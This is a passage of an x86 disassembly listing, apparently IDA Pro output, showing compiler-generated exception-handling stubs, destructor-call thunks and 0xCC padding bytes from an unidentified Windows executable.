mov ecx, [ebp-10h]
add ecx, 3Bh
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 64h
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_427850 proc near ; DATA XREF: sub_427850+2o
mov eax, offset dword_442AC0
jmp sub_437AB8
SEH_427850 endp
; ---------------------------------------------------------------------------
db 12h dup(0CCh)
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_427990 proc near ; DATA XREF: sub_427990+2o
mov eax, offset dword_442B10
jmp sub_437AB8
SEH_427990 endp
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
jmp sub_4014CE
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_427C90 proc near ; DATA XREF: sub_427C90+2o
mov eax, offset dword_442B40
jmp sub_437AB8
SEH_427C90 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_427D50 proc near ; DATA XREF: sub_427D50+2o
mov eax, offset dword_442B70
jmp sub_437AB8
SEH_427D50 endp
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
jmp sub_4014CE
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_4281A0 proc near ; DATA XREF: sub_4281A0+2o
mov eax, offset dword_442BA0
jmp sub_437AB8
SEH_4281A0 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_428260 proc near ; DATA XREF: sub_428260+2o
mov eax, offset dword_442BD0
jmp sub_437AB8
SEH_428260 endp
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
jmp sub_4014CE
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_428880 proc near ; DATA XREF: sub_428880+2o
mov eax, offset dword_442C00
jmp sub_437AB8
SEH_428880 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_428940 proc near ; DATA XREF: sub_428940+2o
mov eax, offset dword_442C30
jmp sub_437AB8
SEH_428940 endp
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
jmp sub_4017A8
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_4290B0 proc near ; DATA XREF: sub_4290B0+2o
mov eax, offset dword_442C60
jmp sub_437AB8
SEH_4290B0 endp
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
jmp sub_40204F
; ---------------------------------------------------------------------------
loc_43CBC8: ; DATA XREF: ___:00442CBCo
mov ecx, [ebp-10h]
add ecx, 11h
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 26h
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 43h
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 58h
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 6Dh
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_429120 proc near ; DATA XREF: sub_429120+2o
mov eax, offset dword_442C90
jmp sub_437AB8
SEH_429120 endp
; ---------------------------------------------------------------------------
db 17h dup(0CCh)
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
jmp sub_40204F
; ---------------------------------------------------------------------------
loc_43CC28: ; DATA XREF: ___:00442D14o
mov ecx, [ebp-10h]
add ecx, 11h
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 26h
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 43h
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 58h
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 6Dh
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_4291E0 proc near ; DATA XREF: sub_4291E0+2o
mov eax, offset dword_442CE8
jmp sub_437AB8
SEH_4291E0 endp
; ---------------------------------------------------------------------------
db 17h dup(0CCh)
; ---------------------------------------------------------------------------
mov ecx, [ebp-28h]
jmp sub_4017A8
; ---------------------------------------------------------------------------
loc_43CC88: ; DATA XREF: ___:00442D6Co
mov ecx, [ebp-28h]
add ecx, 0A1h
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_429450 proc near ; DATA XREF: sub_429450+2o
mov eax, offset dword_442D40
jmp sub_437AB8
SEH_429450 endp
; ---------------------------------------------------------------------------
db 18h dup(0CCh)
; ---------------------------------------------------------------------------
lea ecx, [ebp-53ECh]
jmp sub_4014BA
; ---------------------------------------------------------------------------
lea ecx, [ebp-5490h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-5474h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-5274h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-528Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-525Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-537Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-5334h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-522Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-5304h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-5244h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-52D4h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-545Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-5444h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-541Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-5404h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-52A4h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-5364h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-534Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-531Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-52ECh]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-52BCh]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43CDB2: ; DATA XREF: ___:004295B8o
mov eax, offset dword_442D80
jmp sub_437AB8
; ---------------------------------------------------------------------------
db 44h dup(0CCh)
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
jmp sub_4017A8
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_42ACB0 proc near ; DATA XREF: sub_42ACB0+2o
mov eax, offset dword_442E68
jmp sub_437AB8
SEH_42ACB0 endp
; ---------------------------------------------------------------------------
align 10h
mov eax, [ebp-10h]
push eax
call sub_437AD2
; ---------------------------------------------------------------------------
pop ecx
retn
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_42AD90 proc near ; DATA XREF: sub_42AD90+2o
mov eax, offset dword_442E98
jmp sub_437AB8
SEH_42AD90 endp
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
jmp sub_4017A8
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_42AFF0 proc near ; DATA XREF: sub_42AFF0+2o
mov eax, offset dword_442EC8
jmp sub_437AB8
SEH_42AFF0 endp
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
jmp sub_4017A8
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_42B380 proc near ; DATA XREF: sub_42B380+2o
mov eax, offset dword_442EF8
jmp sub_437AB8
SEH_42B380 endp
; ---------------------------------------------------------------------------
align 10h
mov eax, [ebp-30h]
push eax
call sub_437AD2
; ---------------------------------------------------------------------------
pop ecx
retn
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_42B440 proc near ; DATA XREF: sub_42B440+8o
mov eax, offset dword_442F28
jmp sub_437AB8
SEH_42B440 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_42C1B0 proc near ; DATA XREF: sub_42C1B0+5o
mov eax, offset dword_442F58
jmp sub_437AB8
SEH_42C1B0 endp
; ---------------------------------------------------------------------------
align 10h
loc_43CEB0: ; DATA XREF: ___:0042C2C5o
mov eax, offset dword_442FB8
jmp sub_437AB8
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp+20h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43CEC8: ; DATA XREF: ___:00443044o
lea ecx, [ebp+8]
jmp sub_401226
; ---------------------------------------------------------------------------
mov eax, [ebp-1A0h]
push eax
call sub_437AD2
; ---------------------------------------------------------------------------
pop ecx
retn
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_42C350 proc near ; DATA XREF: sub_42C350+2o
mov eax, offset dword_443018
jmp sub_437AB8
SEH_42C350 endp
; ---------------------------------------------------------------------------
db 18h dup(0CCh)
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 8
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_42C530 proc near ; DATA XREF: sub_42C530+2o
mov eax, offset dword_443058
jmp sub_437AB8
SEH_42C530 endp
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
jmp sub_4017A8
; ---------------------------------------------------------------------------
loc_43CF28: ; DATA XREF: ___:0042C5D2o
mov eax, offset dword_443088
jmp sub_437AB8
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
jmp sub_4017A8
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_42C770 proc near ; DATA XREF: sub_42C770+2o
mov eax, offset dword_4430B8
jmp sub_437AB8
SEH_42C770 endp
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
jmp sub_4017A8
; ---------------------------------------------------------------------------
mov eax, offset dword_4430E8
jmp sub_437AB8
; ---------------------------------------------------------------------------
align 10h
mov eax, [ebp-30h]
push eax
call sub_437AD2
; ---------------------------------------------------------------------------
pop ecx
retn
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_42CB70 proc near ; DATA XREF: sub_42CB70+8o
mov eax, offset dword_443118
jmp sub_437AB8
SEH_42CB70 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_42CE60 proc near ; DATA XREF: sub_42CE60+2o
mov eax, offset dword_443148
jmp sub_437AB8
SEH_42CE60 endp
; ---------------------------------------------------------------------------
db 16h dup(0CCh)
; ---------------------------------------------------------------------------
mov eax, [ebp+4]
push eax
call sub_437AD2
; ---------------------------------------------------------------------------
pop ecx
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
mov eax, [ebp+4]
push eax
call sub_437AD2
; ---------------------------------------------------------------------------
pop ecx
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
mov eax, [ebp+4]
push eax
call sub_437AD2
; ---------------------------------------------------------------------------
pop ecx
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
mov eax, [ebp+4]
push eax
call sub_437AD2
; ---------------------------------------------------------------------------
pop ecx
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-54h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-6Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-74h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-70h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43D0A4: ; DATA XREF: ___:0042D158o
mov eax, offset dword_4431A0
jmp sub_437AB8
; ---------------------------------------------------------------------------
db 32h dup(0CCh)
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_435AA0 proc near ; DATA XREF: sub_435AA0+2o
mov eax, offset dword_443288
jmp sub_437AB8
SEH_435AA0 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-168Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43D10B: ; DATA XREF: ___:004432ECo
lea ecx, [ebp-16A4h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43D116: ; DATA XREF: ___:00435B98o
mov eax, offset dword_4432C0
jmp sub_437AB8
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_4364D0 proc near ; DATA XREF: sub_4364D0+2o
mov eax, offset dword_4432F8
jmp sub_437AB8
SEH_4364D0 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_4368D0 proc near ; DATA XREF: sub_4368D0+2o
mov eax, offset dword_443328
jmp sub_437AB8
SEH_4368D0 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-128h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-128h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-128h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-128h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-128h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-128h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-128h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-128h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-128h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-128h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_4369E0 proc near ; DATA XREF: sub_4369E0+8o
mov eax, offset dword_443360
jmp sub_437AB8
SEH_4369E0 endp
; ---------------------------------------------------------------------------
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
